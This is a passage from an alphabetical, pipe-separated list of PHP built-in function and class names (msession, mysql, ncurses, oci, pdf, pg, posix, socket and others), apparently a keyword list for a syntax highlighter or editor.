connect|msession_count|msession_create|msession_destroy|msession_disconnect|msession_find|msession_get|msession_get_array|msession_get_data|msession_inc|msession_list|msession_listvar|msession_lock|msession_plugin|msession_randstr|msession_set|msession_set_array|msession_set_data|msession_timeout|msession_uniq|msession_unlock|msg_get_queue|msg_queue_exists|msg_receive|msg_remove_queue|msg_send|msg_set_queue|msg_stat_queue|msql|msql_affected_rows|msql_close|msql_connect|msql_create_db|msql_createdb|msql_data_seek|msql_db_query|msql_dbname|msql_drop_db|msql_error|msql_fetch_array|msql_fetch_field|msql_fetch_object|msql_fetch_row|msql_field_flags|msql_field_len|msql_field_name|msql_field_seek|msql_field_table|msql_field_type|msql_fieldflags|msql_fieldlen|msql_fieldname|msql_fieldtable|msql_fieldtype|msql_free_result|msql_list_dbs|msql_list_fields|msql_list_tables|msql_num_fields|msql_num_rows|msql_numfields|msql_numrows|msql_pconnect|msql_query|msql_regcase|msql_result|msql_select_db|msql_tablename|mssql_bind|mssql_close|mssql_connect|mssql_data_seek|mssql_execute|mssql_fetch_array|mssql_fetch_assoc|mssql_fetch_batch|mssql_fetch_field|mssql_fetch_object|mssql_fetch_row|mssql_field_length|mssql_field_name|mssql_field_seek|mssql_field_type|mssql_free_result|mssql_free_statement|mssql_get_last_message|mssql_guid_string|mssql_init|mssql_min_error_severity|mssql_min_message_severity|mssql_next_result|mssql_num_fields|mssql_num_rows|mssql_pconnect|mssql_query|mssql_result|mssql_rows_affected|mssql_select_db|mt_getrandmax|mt_rand|mt_srand|multipleiterator|mysql_affected_rows|mysql_client_encoding|mysql_close|mysql_connect|mysql_create_db|mysql_data_seek|mysql_db_name|mysql_db_query|mysql_drop_db|mysql_errno|mysql_error|mysql_escape_string|mysql_fetch_array|mysql_fetch_assoc|mysql_fetch_field|mysql_fetch_lengths|mysql_fetch_object|mysql_fetch_row|mysql_field_flags|mysql_field_len|mysql_field_name|mysql_field_seek|mysql_field_table|mysql_field_type|mysql_free_result|mysql_get_client_info|mysql_get_host_info|mysql_get_proto_info|mysql_get_server_info|mysql_info|mysql_insert_id|mysql_list_dbs|mysql_list_fields|mysql_list_processes|mysql_list_tables|mysql_num_fields|mysql_num_rows|mysql_pconnect|mysql_ping|mysql_query|mysql_real_escape_string|mysql_result|mysql_select_db|mysql_set_charset|mysql_stat|mysql_tablename|mysql_thread_id|mysql_unbuffered_query|mysqli|mysqli_bind_param|mysqli_bind_result|mysqli_client_encoding|mysqli_connect|mysqli_disable_reads_from_master|mysqli_disable_rpl_parse|mysqli_driver|mysqli_enable_reads_from_master|mysqli_enable_rpl_parse|mysqli_escape_string|mysqli_execute|mysqli_fetch|mysqli_get_metadata|mysqli_master_query|mysqli_param_count|mysqli_report|mysqli_result|mysqli_rpl_parse_enabled|mysqli_rpl_probe|mysqli_rpl_query_type|mysqli_send_long_data|mysqli_send_query|mysqli_set_opt|mysqli_slave_query|mysqli_stmt|mysqli_warning|mysqlnd_ms_get_stats|mysqlnd_ms_query_is_select|mysqlnd_ms_set_user_pick_server|mysqlnd_qc_change_handler|mysqlnd_qc_clear_cache|mysqlnd_qc_get_cache_info|mysqlnd_qc_get_core_stats|mysqlnd_qc_get_handler|mysqlnd_qc_get_query_trace_log|mysqlnd_qc_set_user_handlers|natcasesort|natsort|ncurses_addch|ncurses_addchnstr|ncurses_addchstr|ncurses_addnstr|ncurses_addstr|ncurses_assume_default_colors|ncurses_attroff|ncurses_attron|ncurses_attrset|ncurses_baudrate|ncurses_beep|ncurses_bkgd|ncurses_bkgdset|ncurses_border|ncurses_bottom_panel|ncurses_can_change_color|ncurses_cbreak|ncurses_clear|ncurses_clrtobot|ncurses_clrtoeol|ncurses_color_content|ncurses_color_set|ncurses_curs_set|ncurses_def_prog_mode|ncurses_def_shell_mode|ncurses_define_key|ncurses_del_panel|ncurses_delay_output|ncurses_delch|ncurses_deleteln|ncurses_delwin|ncurses_doupdate|ncurses_echo|ncurses_echochar|ncurses_end|ncurses_erase|ncurses_erasechar|ncurses_filter|ncurses_flash|ncurses_flushinp|ncurses_getch|ncurses_getmaxyx|ncurses_getmouse|ncurses_getyx|ncurses_halfdelay|ncurses_has_colors|ncurses_has_ic|ncurses_has_il|ncurses_has_key|ncurses_hide_panel|ncurses_hline|ncurses_inch|ncurses_init|ncurses_init_color|ncurses_init_pair|ncurses_insch|ncurses_insdelln|ncurses_insertln|ncurses_insstr|ncurses_instr|ncurses_isendwin|ncurses_keyok|ncurses_keypad|ncurses_killchar|ncurses_longname|ncurses_meta|ncurses_mouse_trafo|ncurses_mouseinterval|ncurses_mousemask|ncurses_move|ncurses_move_panel|ncurses_mvaddch|ncurses_mvaddchnstr|ncurses_mvaddchstr|ncurses_mvaddnstr|ncurses_mvaddstr|ncurses_mvcur|ncurses_mvdelch|ncurses_mvgetch|ncurses_mvhline|ncurses_mvinch|ncurses_mvvline|ncurses_mvwaddstr|ncurses_napms|ncurses_new_panel|ncurses_newpad|ncurses_newwin|ncurses_nl|ncurses_nocbreak|ncurses_noecho|ncurses_nonl|ncurses_noqiflush|ncurses_noraw|ncurses_pair_content|ncurses_panel_above|ncurses_panel_below|ncurses_panel_window|ncurses_pnoutrefresh|ncurses_prefresh|ncurses_putp|ncurses_qiflush|ncurses_raw|ncurses_refresh|ncurses_replace_panel|ncurses_reset_prog_mode|ncurses_reset_shell_mode|ncurses_resetty|ncurses_savetty|ncurses_scr_dump|ncurses_scr_init|ncurses_scr_restore|ncurses_scr_set|ncurses_scrl|ncurses_show_panel|ncurses_slk_attr|ncurses_slk_attroff|ncurses_slk_attron|ncurses_slk_attrset|ncurses_slk_clear|ncurses_slk_color|ncurses_slk_init|ncurses_slk_noutrefresh|ncurses_slk_refresh|ncurses_slk_restore|ncurses_slk_set|ncurses_slk_touch|ncurses_standend|ncurses_standout|ncurses_start_color|ncurses_termattrs|ncurses_termname|ncurses_timeout|ncurses_top_panel|ncurses_typeahead|ncurses_ungetch|ncurses_ungetmouse|ncurses_update_panels|ncurses_use_default_colors|ncurses_use_env|ncurses_use_extended_names|ncurses_vidattr|ncurses_vline|ncurses_waddch|ncurses_waddstr|ncurses_wattroff|ncurses_wattron|ncurses_wattrset|ncurses_wborder|ncurses_wclear|ncurses_wcolor_set|ncurses_werase|ncurses_wgetch|ncurses_whline|ncurses_wmouse_trafo|ncurses_wmove|ncurses_wnoutrefresh|ncurses_wrefresh|ncurses_wstandend|ncurses_wstandout|ncurses_wvline|newinstance|newinstanceargs|newt_bell|newt_button|newt_button_bar|newt_centered_window|newt_checkbox|newt_checkbox_get_value|newt_checkbox_set_flags|newt_checkbox_set_value|newt_checkbox_tree|newt_checkbox_tree_add_item|newt_checkbox_tree_find_item|newt_checkbox_tree_get_current|newt_checkbox_tree_get_entry_value|newt_checkbox_tree_get_multi_selection|newt_checkbox_tree_get_selection|newt_checkbox_tree_multi|newt_checkbox_tree_set_current|newt_checkbox_tree_set_entry|newt_checkbox_tree_set_entry_value|newt_checkbox_tree_set_width|newt_clear_key_buffer|newt_cls|newt_compact_button|newt_component_add_callback|newt_component_takes_focus|newt_create_grid|newt_cursor_off|newt_cursor_on|newt_delay|newt_draw_form|newt_draw_root_text|newt_entry|newt_entry_get_value|newt_entry_set|newt_entry_set_filter|newt_entry_set_flags|newt_finished|newt_form|newt_form_add_component|newt_form_add_components|newt_form_add_hot_key|newt_form_destroy|newt_form_get_current|newt_form_run|newt_form_set_background|newt_form_set_height|newt_form_set_size|newt_form_set_timer|newt_form_set_width|newt_form_watch_fd|newt_get_screen_size|newt_grid_add_components_to_form|newt_grid_basic_window|newt_grid_free|newt_grid_get_size|newt_grid_h_close_stacked|newt_grid_h_stacked|newt_grid_place|newt_grid_set_field|newt_grid_simple_window|newt_grid_v_close_stacked|newt_grid_v_stacked|newt_grid_wrapped_window|newt_grid_wrapped_window_at|newt_init|newt_label|newt_label_set_text|newt_listbox|newt_listbox_append_entry|newt_listbox_clear|newt_listbox_clear_selection|newt_listbox_delete_entry|newt_listbox_get_current|newt_listbox_get_selection|newt_listbox_insert_entry|newt_listbox_item_count|newt_listbox_select_item|newt_listbox_set_current|newt_listbox_set_current_by_key|newt_listbox_set_data|newt_listbox_set_entry|newt_listbox_set_width|newt_listitem|newt_listitem_get_data|newt_listitem_set|newt_open_window|newt_pop_help_line|newt_pop_window|newt_push_help_line|newt_radio_get_current|newt_radiobutton|newt_redraw_help_line|newt_reflow_text|newt_refresh|newt_resize_screen|newt_resume|newt_run_form|newt_scale|newt_scale_set|newt_scrollbar_set|newt_set_help_callback|newt_set_suspend_callback|newt_suspend|newt_textbox|newt_textbox_get_num_lines|newt_textbox_reflowed|newt_textbox_set_height|newt_textbox_set_text|newt_vertical_scrollbar|newt_wait_for_key|newt_win_choice|newt_win_entries|newt_win_menu|newt_win_message|newt_win_messagev|newt_win_ternary|next|ngettext|nl2br|nl_langinfo|norewinditerator|normalizer|notes_body|notes_copy_db|notes_create_db|notes_create_note|notes_drop_db|notes_find_note|notes_header_info|notes_list_msgs|notes_mark_read|notes_mark_unread|notes_nav_create|notes_search|notes_unread|notes_version|nsapi_request_headers|nsapi_response_headers|nsapi_virtual|nthmac|number_format|numberformatter|oauth|oauth_get_sbs|oauth_urlencode|oauthexception|oauthprovider|ob_clean|ob_deflatehandler|ob_end_clean|ob_end_flush|ob_etaghandler|ob_flush|ob_get_clean|ob_get_contents|ob_get_flush|ob_get_length|ob_get_level|ob_get_status|ob_gzhandler|ob_iconv_handler|ob_implicit_flush|ob_inflatehandler|ob_list_handlers|ob_start|ob_tidyhandler|oci_bind_array_by_name|oci_bind_by_name|oci_cancel|oci_client_version|oci_close|oci_collection_append|oci_collection_assign|oci_collection_element_assign|oci_collection_element_get|oci_collection_free|oci_collection_max|oci_collection_size|oci_collection_trim|oci_commit|oci_connect|oci_define_by_name|oci_error|oci_execute|oci_fetch|oci_fetch_all|oci_fetch_array|oci_fetch_assoc|oci_fetch_object|oci_fetch_row|oci_field_is_null|oci_field_name|oci_field_precision|oci_field_scale|oci_field_size|oci_field_type|oci_field_type_raw|oci_free_statement|oci_internal_debug|oci_lob_append|oci_lob_close|oci_lob_copy|oci_lob_eof|oci_lob_erase|oci_lob_export|oci_lob_flush|oci_lob_free|oci_lob_getbuffering|oci_lob_import|oci_lob_is_equal|oci_lob_load|oci_lob_read|oci_lob_rewind|oci_lob_save|oci_lob_savefile|oci_lob_seek|oci_lob_setbuffering|oci_lob_size|oci_lob_tell|oci_lob_truncate|oci_lob_write|oci_lob_writetemporary|oci_lob_writetofile|oci_new_collection|oci_new_connect|oci_new_cursor|oci_new_descriptor|oci_num_fields|oci_num_rows|oci_parse|oci_password_change|oci_pconnect|oci_result|oci_rollback|oci_server_version|oci_set_action|oci_set_client_identifier|oci_set_client_info|oci_set_edition|oci_set_module_name|oci_set_prefetch|oci_statement_type|ocibindbyname|ocicancel|ocicloselob|ocicollappend|ocicollassign|ocicollassignelem|ocicollgetelem|ocicollmax|ocicollsize|ocicolltrim|ocicolumnisnull|ocicolumnname|ocicolumnprecision|ocicolumnscale|ocicolumnsize|ocicolumntype|ocicolumntyperaw|ocicommit|ocidefinebyname|ocierror|ociexecute|ocifetch|ocifetchinto|ocifetchstatement|ocifreecollection|ocifreecursor|ocifreedesc|ocifreestatement|ociinternaldebug|ociloadlob|ocilogoff|ocilogon|ocinewcollection|ocinewcursor|ocinewdescriptor|ocinlogon|ocinumcols|ociparse|ociplogon|ociresult|ocirollback|ocirowcount|ocisavelob|ocisavelobfile|ociserverversion|ocisetprefetch|ocistatementtype|ociwritelobtofile|ociwritetemporarylob|octdec|odbc_autocommit|odbc_binmode|odbc_close|odbc_close_all|odbc_columnprivileges|odbc_columns|odbc_commit|odbc_connect|odbc_cursor|odbc_data_source|odbc_do|odbc_error|odbc_errormsg|odbc_exec|odbc_execute|odbc_fetch_array|odbc_fetch_into|odbc_fetch_object|odbc_fetch_row|odbc_field_len|odbc_field_name|odbc_field_num|odbc_field_precision|odbc_field_scale|odbc_field_type|odbc_foreignkeys|odbc_free_result|odbc_gettypeinfo|odbc_longreadlen|odbc_next_result|odbc_num_fields|odbc_num_rows|odbc_pconnect|odbc_prepare|odbc_primarykeys|odbc_procedurecolumns|odbc_procedures|odbc_result|odbc_result_all|odbc_rollback|odbc_setoption|odbc_specialcolumns|odbc_statistics|odbc_tableprivileges|odbc_tables|openal_buffer_create|openal_buffer_data|openal_buffer_destroy|openal_buffer_get|openal_buffer_loadwav|openal_context_create|openal_context_current|openal_context_destroy|openal_context_process|openal_context_suspend|openal_device_close|openal_device_open|openal_listener_get|openal_listener_set|openal_source_create|openal_source_destroy|openal_source_get|openal_source_pause|openal_source_play|openal_source_rewind|openal_source_set|openal_source_stop|openal_stream|opendir|openlog|openssl_cipher_iv_length|openssl_csr_export|openssl_csr_export_to_file|openssl_csr_get_public_key|openssl_csr_get_subject|openssl_csr_new|openssl_csr_sign|openssl_decrypt|openssl_dh_compute_key|openssl_digest|openssl_encrypt|openssl_error_string|openssl_free_key|openssl_get_cipher_methods|openssl_get_md_methods|openssl_get_privatekey|openssl_get_publickey|openssl_open|openssl_pkcs12_export|openssl_pkcs12_export_to_file|openssl_pkcs12_read|openssl_pkcs7_decrypt|openssl_pkcs7_encrypt|openssl_pkcs7_sign|openssl_pkcs7_verify|openssl_pkey_export|openssl_pkey_export_to_file|openssl_pkey_free|openssl_pkey_get_details|openssl_pkey_get_private|openssl_pkey_get_public|openssl_pkey_new|openssl_private_decrypt|openssl_private_encrypt|openssl_public_decrypt|openssl_public_encrypt|openssl_random_pseudo_bytes|openssl_seal|openssl_sign|openssl_verify|openssl_x509_check_private_key|openssl_x509_checkpurpose|openssl_x509_export|openssl_x509_export_to_file|openssl_x509_free|openssl_x509_parse|openssl_x509_read|ord|outeriterator|outofboundsexception|outofrangeexception|output_add_rewrite_var|output_reset_rewrite_vars|overflowexception|overload|override_function|ovrimos_close|ovrimos_commit|ovrimos_connect|ovrimos_cursor|ovrimos_exec|ovrimos_execute|ovrimos_fetch_into|ovrimos_fetch_row|ovrimos_field_len|ovrimos_field_name|ovrimos_field_num|ovrimos_field_type|ovrimos_free_result|ovrimos_longreadlen|ovrimos_num_fields|ovrimos_num_rows|ovrimos_prepare|ovrimos_result|ovrimos_result_all|ovrimos_rollback|pack|parentiterator|parse_ini_file|parse_ini_string|parse_str|parse_url|parsekit_compile_file|parsekit_compile_string|parsekit_func_arginfo|passthru|pathinfo|pclose|pcntl_alarm|pcntl_exec|pcntl_fork|pcntl_getpriority|pcntl_setpriority|pcntl_signal|pcntl_signal_dispatch|pcntl_sigprocmask|pcntl_sigtimedwait|pcntl_sigwaitinfo|pcntl_wait|pcntl_waitpid|pcntl_wexitstatus|pcntl_wifexited|pcntl_wifsignaled|pcntl_wifstopped|pcntl_wstopsig|pcntl_wtermsig|pdf_activate_item|pdf_add_annotation|pdf_add_bookmark|pdf_add_launchlink|pdf_add_locallink|pdf_add_nameddest|pdf_add_note|pdf_add_outline|pdf_add_pdflink|pdf_add_table_cell|pdf_add_textflow|pdf_add_thumbnail|pdf_add_weblink|pdf_arc|pdf_arcn|pdf_attach_file|pdf_begin_document|pdf_begin_font|pdf_begin_glyph|pdf_begin_item|pdf_begin_layer|pdf_begin_page|pdf_begin_page_ext|pdf_begin_pattern|pdf_begin_template|pdf_begin_template_ext|pdf_circle|pdf_clip|pdf_close|pdf_close_image|pdf_close_pdi|pdf_close_pdi_page|pdf_closepath|pdf_closepath_fill_stroke|pdf_closepath_stroke|pdf_concat|pdf_continue_text|pdf_create_3dview|pdf_create_action|pdf_create_annotation|pdf_create_bookmark|pdf_create_field|pdf_create_fieldgroup|pdf_create_gstate|pdf_create_pvf|pdf_create_textflow|pdf_curveto|pdf_define_layer|pdf_delete|pdf_delete_pvf|pdf_delete_table|pdf_delete_textflow|pdf_encoding_set_char|pdf_end_document|pdf_end_font|pdf_end_glyph|pdf_end_item|pdf_end_layer|pdf_end_page|pdf_end_page_ext|pdf_end_pattern|pdf_end_template|pdf_endpath|pdf_fill|pdf_fill_imageblock|pdf_fill_pdfblock|pdf_fill_stroke|pdf_fill_textblock|pdf_findfont|pdf_fit_image|pdf_fit_pdi_page|pdf_fit_table|pdf_fit_textflow|pdf_fit_textline|pdf_get_apiname|pdf_get_buffer|pdf_get_errmsg|pdf_get_errnum|pdf_get_font|pdf_get_fontname|pdf_get_fontsize|pdf_get_image_height|pdf_get_image_width|pdf_get_majorversion|pdf_get_minorversion|pdf_get_parameter|pdf_get_pdi_parameter|pdf_get_pdi_value|pdf_get_value|pdf_info_font|pdf_info_matchbox|pdf_info_table|pdf_info_textflow|pdf_info_textline|pdf_initgraphics|pdf_lineto|pdf_load_3ddata|pdf_load_font|pdf_load_iccprofile|pdf_load_image|pdf_makespotcolor|pdf_moveto|pdf_new|pdf_open_ccitt|pdf_open_file|pdf_open_gif|pdf_open_image|pdf_open_image_file|pdf_open_jpeg|pdf_open_memory_image|pdf_open_pdi|pdf_open_pdi_document|pdf_open_pdi_page|pdf_open_tiff|pdf_pcos_get_number|pdf_pcos_get_stream|pdf_pcos_get_string|pdf_place_image|pdf_place_pdi_page|pdf_process_pdi|pdf_rect|pdf_restore|pdf_resume_page|pdf_rotate|pdf_save|pdf_scale|pdf_set_border_color|pdf_set_border_dash|pdf_set_border_style|pdf_set_char_spacing|pdf_set_duration|pdf_set_gstate|pdf_set_horiz_scaling|pdf_set_info|pdf_set_info_author|pdf_set_info_creator|pdf_set_info_keywords|pdf_set_info_subject|pdf_set_info_title|pdf_set_layer_dependency|pdf_set_leading|pdf_set_parameter|pdf_set_text_matrix|pdf_set_text_pos|pdf_set_text_rendering|pdf_set_text_rise|pdf_set_value|pdf_set_word_spacing|pdf_setcolor|pdf_setdash|pdf_setdashpattern|pdf_setflat|pdf_setfont|pdf_setgray|pdf_setgray_fill|pdf_setgray_stroke|pdf_setlinecap|pdf_setlinejoin|pdf_setlinewidth|pdf_setmatrix|pdf_setmiterlimit|pdf_setpolydash|pdf_setrgbcolor|pdf_setrgbcolor_fill|pdf_setrgbcolor_stroke|pdf_shading|pdf_shading_pattern|pdf_shfill|pdf_show|pdf_show_boxed|pdf_show_xy|pdf_skew|pdf_stringwidth|pdf_stroke|pdf_suspend_page|pdf_translate|pdf_utf16_to_utf8|pdf_utf32_to_utf16|pdf_utf8_to_utf16|pdo|pdo_cubrid_schema|pdo_pgsqllobcreate|pdo_pgsqllobopen|pdo_pgsqllobunlink|pdo_sqlitecreateaggregate|pdo_sqlitecreatefunction|pdoexception|pdostatement|pfsockopen|pg_affected_rows|pg_cancel_query|pg_client_encoding|pg_close|pg_connect|pg_connection_busy|pg_connection_reset|pg_connection_status|pg_convert|pg_copy_from|pg_copy_to|pg_dbname|pg_delete|pg_end_copy|pg_escape_bytea|pg_escape_string|pg_execute|pg_fetch_all|pg_fetch_all_columns|pg_fetch_array|pg_fetch_assoc|pg_fetch_object|pg_fetch_result|pg_fetch_row|pg_field_is_null|pg_field_name|pg_field_num|pg_field_prtlen|pg_field_size|pg_field_table|pg_field_type|pg_field_type_oid|pg_free_result|pg_get_notify|pg_get_pid|pg_get_result|pg_host|pg_insert|pg_last_error|pg_last_notice|pg_last_oid|pg_lo_close|pg_lo_create|pg_lo_export|pg_lo_import|pg_lo_open|pg_lo_read|pg_lo_read_all|pg_lo_seek|pg_lo_tell|pg_lo_unlink|pg_lo_write|pg_meta_data|pg_num_fields|pg_num_rows|pg_options|pg_parameter_status|pg_pconnect|pg_ping|pg_port|pg_prepare|pg_put_line|pg_query|pg_query_params|pg_result_error|pg_result_error_field|pg_result_seek|pg_result_status|pg_select|pg_send_execute|pg_send_prepare|pg_send_query|pg_send_query_params|pg_set_client_encoding|pg_set_error_verbosity|pg_trace|pg_transaction_status|pg_tty|pg_unescape_bytea|pg_untrace|pg_update|pg_version|php_check_syntax|php_ini_loaded_file|php_ini_scanned_files|php_logo_guid|php_sapi_name|php_strip_whitespace|php_uname|phpcredits|phpinfo|phpversion|pi|png2wbmp|popen|pos|posix_access|posix_ctermid|posix_errno|posix_get_last_error|posix_getcwd|posix_getegid|posix_geteuid|posix_getgid|posix_getgrgid|posix_getgrnam|posix_getgroups|posix_getlogin|posix_getpgid|posix_getpgrp|posix_getpid|posix_getppid|posix_getpwnam|posix_getpwuid|posix_getrlimit|posix_getsid|posix_getuid|posix_initgroups|posix_isatty|posix_kill|posix_mkfifo|posix_mknod|posix_setegid|posix_seteuid|posix_setgid|posix_setpgid|posix_setsid|posix_setuid|posix_strerror|posix_times|posix_ttyname|posix_uname|pow|preg_filter|preg_grep|preg_last_error|preg_match|preg_match_all|preg_quote|preg_replace|preg_replace_callback|preg_split|prev|print|print_r|printer_abort|printer_close|printer_create_brush|printer_create_dc|printer_create_font|printer_create_pen|printer_delete_brush|printer_delete_dc|printer_delete_font|printer_delete_pen|printer_draw_bmp|printer_draw_chord|printer_draw_elipse|printer_draw_line|printer_draw_pie|printer_draw_rectangle|printer_draw_roundrect|printer_draw_text|printer_end_doc|printer_end_page|printer_get_option|printer_list|printer_logical_fontheight|printer_open|printer_select_brush|printer_select_font|printer_select_pen|printer_set_option|printer_start_doc|printer_start_page|printer_write|printf|proc_close|proc_get_status|proc_nice|proc_open|proc_terminate|property_exists|ps_add_bookmark|ps_add_launchlink|ps_add_locallink|ps_add_note|ps_add_pdflink|ps_add_weblink|ps_arc|ps_arcn|ps_begin_page|ps_begin_pattern|ps_begin_template|ps_circle|ps_clip|ps_close|ps_close_image|ps_closepath|ps_closepath_stroke|ps_continue_text|ps_curveto|ps_delete|ps_end_page|ps_end_pattern|ps_end_template|ps_fill|ps_fill_stroke|ps_findfont|ps_get_buffer|ps_get_parameter|ps_get_value|ps_hyphenate|ps_include_file|ps_lineto|ps_makespotcolor|ps_moveto|ps_new|ps_open_file|ps_open_image|ps_open_image_file|ps_open_memory_image|ps_place_image|ps_rect|ps_restore|ps_rotate|ps_save|ps_scale|ps_set_border_color|ps_set_border_dash|ps_set_border_style|ps_set_info|ps_set_parameter|ps_set_text_pos|ps_set_value|ps_setcolor|ps_setdash|ps_setflat|ps_setfont|ps_setgray|ps_setlinecap|ps_setlinejoin|ps_setlinewidth|ps_setmiterlimit|ps_setoverprintmode|ps_setpolydash|ps_shading|ps_shading_pattern|ps_shfill|ps_show|ps_show2|ps_show_boxed|ps_show_xy|ps_show_xy2|ps_string_geometry|ps_stringwidth|ps_stroke|ps_symbol|ps_symbol_name|ps_symbol_width|ps_translate|pspell_add_to_personal|pspell_add_to_session|pspell_check|pspell_clear_session|pspell_config_create|pspell_config_data_dir|pspell_config_dict_dir|pspell_config_ignore|pspell_config_mode|pspell_config_personal|pspell_config_repl|pspell_config_runtogether|pspell_config_save_repl|pspell_new|pspell_new_config|pspell_new_personal|pspell_save_wordlist|pspell_store_replacement|pspell_suggest|putenv|px_close|px_create_fp|px_date2string|px_delete|px_delete_record|px_get_field|px_get_info|px_get_parameter|px_get_record|px_get_schema|px_get_value|px_insert_record|px_new|px_numfields|px_numrecords|px_open_fp|px_put_record|px_retrieve_record|px_set_blob_file|px_set_parameter|px_set_tablename|px_set_targetencoding|px_set_value|px_timestamp2string|px_update_record|qdom_error|qdom_tree|quoted_printable_decode|quoted_printable_encode|quotemeta|rad2deg|radius_acct_open|radius_add_server|radius_auth_open|radius_close|radius_config|radius_create_request|radius_cvt_addr|radius_cvt_int|radius_cvt_string|radius_demangle|radius_demangle_mppe_key|radius_get_attr|radius_get_vendor_attr|radius_put_addr|radius_put_attr|radius_put_int|radius_put_string|radius_put_vendor_addr|radius_put_vendor_attr|radius_put_vendor_int|radius_put_vendor_string|radius_request_authenticator|radius_send_request|radius_server_secret|radius_strerror|rand|range|rangeexception|rar_wrapper_cache_stats|rararchive|rarentry|rarexception|rawurldecode|rawurlencode|read_exif_data|readdir|readfile|readgzfile|readline|readline_add_history|readline_callback_handler_install|readline_callback_handler_remove|readline_callback_read_char|readline_clear_history|readline_completion_function|readline_info|readline_list_history|readline_on_new_line|readline_read_history|readline_redisplay|readline_write_history|readlink|realpath|realpath_cache_get|realpath_cache_size|recode|recode_file|recode_string|recursivearrayiterator|recursivecachingiterator|recursivecallbackfilteriterator|recursivedirectoryiterator|recursivefilteriterator|recursiveiterator|recursiveiteratoriterator|recursiveregexiterator|recursivetreeiterator|reflection|reflectionclass|reflectionexception|reflectionextension|reflectionfunction|reflectionfunctionabstract|reflectionmethod|reflectionobject|reflectionparameter|reflectionproperty|reflector|regexiterator|register_shutdown_function|register_tick_function|rename|rename_function|require|require_once|reset|resetValue|resourcebundle|restore_error_handler|restore_exception_handler|restore_include_path|return|rewind|rewinddir|rmdir|round|rpm_close|rpm_get_tag|rpm_is_valid|rpm_open|rpm_version|rrd_create|rrd_error|rrd_fetch|rrd_first|rrd_graph|rrd_info|rrd_last|rrd_lastupdate|rrd_restore|rrd_tune|rrd_update|rrd_xport|rrdcreator|rrdgraph|rrdupdater|rsort|rtrim|runkit_class_adopt|runkit_class_emancipate|runkit_constant_add|runkit_constant_redefine|runkit_constant_remove|runkit_function_add|runkit_function_copy|runkit_function_redefine|runkit_function_remove|runkit_function_rename|runkit_import|runkit_lint|runkit_lint_file|runkit_method_add|runkit_method_copy|runkit_method_redefine|runkit_method_remove|runkit_method_rename|runkit_return_value_used|runkit_sandbox_output_handler|runkit_superglobals|runtimeexception|samconnection_commit|samconnection_connect|samconnection_constructor|samconnection_disconnect|samconnection_errno|samconnection_error|samconnection_isconnected|samconnection_peek|samconnection_peekall|samconnection_receive|samconnection_remove|samconnection_rollback|samconnection_send|samconnection_setDebug|samconnection_subscribe|samconnection_unsubscribe|sammessage_body|sammessage_constructor|sammessage_header|sca_createdataobject|sca_getservice|sca_localproxy_createdataobject|sca_soapproxy_createdataobject|scandir|sdo_das_changesummary_beginlogging|sdo_das_changesummary_endlogging|sdo_das_changesummary_getchangeddataobjects|sdo_das_changesummary_getchangetype|sdo_das_changesummary_getoldcontainer|sdo_das_changesummary_getoldvalues|sdo_das_changesummary_islogging|sdo_das_datafactory_addpropertytotype|sdo_das_datafactory_addtype|sdo_das_datafactory_getdatafactory|sdo_das_dataobject_getchangesummary|sdo_das_relational_applychanges|sdo_das_relational_construct|sdo_das_relational_createrootdataobject|sdo_das_relational_executepreparedquery|sdo_das_relational_executequery|sdo_das_setting_getlistindex|sdo_das_setting_getpropertyindex|sdo_das_setting_getpropertyname|sdo_das_setting_getvalue|sdo_das_setting_isset|sdo_das_xml_addtypes|sdo_das_xml_create|sdo_das_xml_createdataobject|sdo_das_xml_createdocument|sdo_das_xml_document_getrootdataobject|sdo_das_xml_document_getrootelementname|sdo_das_xml_document_getrootelementuri|sdo_das_xml_document_setencoding|sdo_das_xml_document_setxmldeclaration|sdo_das_xml_document_setxmlversion|sdo_das_xml_loadfile|sdo_das_xml_loadstring|sdo_das_xml_savefile|sdo_das_xml_savestring|sdo_datafactory_create|sdo_dataobject_clear|sdo_dataobject_createdataobject|sdo_dataobject_getcontainer|sdo_dataobject_getsequence|sdo_dataobject_gettypename|sdo_dataobject_gettypenamespaceuri|sdo_exception_getcause|sdo_list_insert|sdo_model_property_getcontainingtype|sdo_model_property_getdefault|sdo_model_property_getname|sdo_model_property_gettype|sdo_model_property_iscontainment|sdo_model_property_ismany|sdo_model_reflectiondataobject_construct|sdo_model_reflectiondataobject_export|sdo_model_reflectiondataobject_getcontainmentproperty|sdo_model_reflectiondataobject_getinstanceproperties|sdo_model_reflectiondataobject_gettype|sdo_model_type_getbasetype|sdo_model_type_getname|sdo_model_type_getnamespaceuri|sdo_model_type_getproperties|sdo_model_type_getproperty|sdo_model_type_isabstracttype|sdo_model_type_isdatatype|sdo_model_type_isinstance|sdo_model_type_isopentype|sdo_model_type_issequencedtype|sdo_sequence_getproperty|sdo_sequence_insert|sdo_sequence_move|seekableiterator|sem_acquire|sem_get|sem_release|sem_remove|serializable|serialize|session_cache_expire|session_cache_limiter|session_commit|session_decode|session_destroy|session_encode|session_get_cookie_params|session_id|session_is_registered|session_module_name|session_name|session_pgsql_add_error|session_pgsql_get_error|session_pgsql_get_field|session_pgsql_reset|session_pgsql_set_field|session_pgsql_status|session_regenerate_id|session_register|session_save_path|session_set_cookie_params|session_set_save_handler|session_start|session_unregister|session_unset|session_write_close|setCounterClass|set_error_handler|set_exception_handler|set_file_buffer|set_include_path|set_magic_quotes_runtime|set_socket_blocking|set_time_limit|setcookie|setlocale|setproctitle|setrawcookie|setstaticpropertyvalue|setthreadtitle|settype|sha1|sha1_file|shell_exec|shm_attach|shm_detach|shm_get_var|shm_has_var|shm_put_var|shm_remove|shm_remove_var|shmop_close|shmop_delete|shmop_open|shmop_read|shmop_size|shmop_write|show_source|shuffle|signeurlpaiement|similar_text|simplexml_import_dom|simplexml_load_file|simplexml_load_string|simplexmlelement|simplexmliterator|sin|sinh|sizeof|sleep|snmp|snmp2_get|snmp2_getnext|snmp2_real_walk|snmp2_set|snmp2_walk|snmp3_get|snmp3_getnext|snmp3_real_walk|snmp3_set|snmp3_walk|snmp_get_quick_print|snmp_get_valueretrieval|snmp_read_mib|snmp_set_enum_print|snmp_set_oid_numeric_print|snmp_set_oid_output_format|snmp_set_quick_print|snmp_set_valueretrieval|snmpget|snmpgetnext|snmprealwalk|snmpset|snmpwalk|snmpwalkoid|soapclient|soapfault|soapheader|soapparam|soapserver|soapvar|socket_accept|socket_bind|socket_clear_error|socket_close|socket_connect|socket_create|socket_create_listen|socket_create_pair|socket_get_option|socket_get_status|socket_getpeername|socket_getsockname|socket_last_error|socket_listen|socket_read|socket_recv|socket_recvfrom|socket_select|socket_send|socket_sendto|socket_set_block|socket_set_blocking|socket_set_nonblock|socket_set_option|socket_set_timeout|socket_shutdown|socket_strerror|socket_w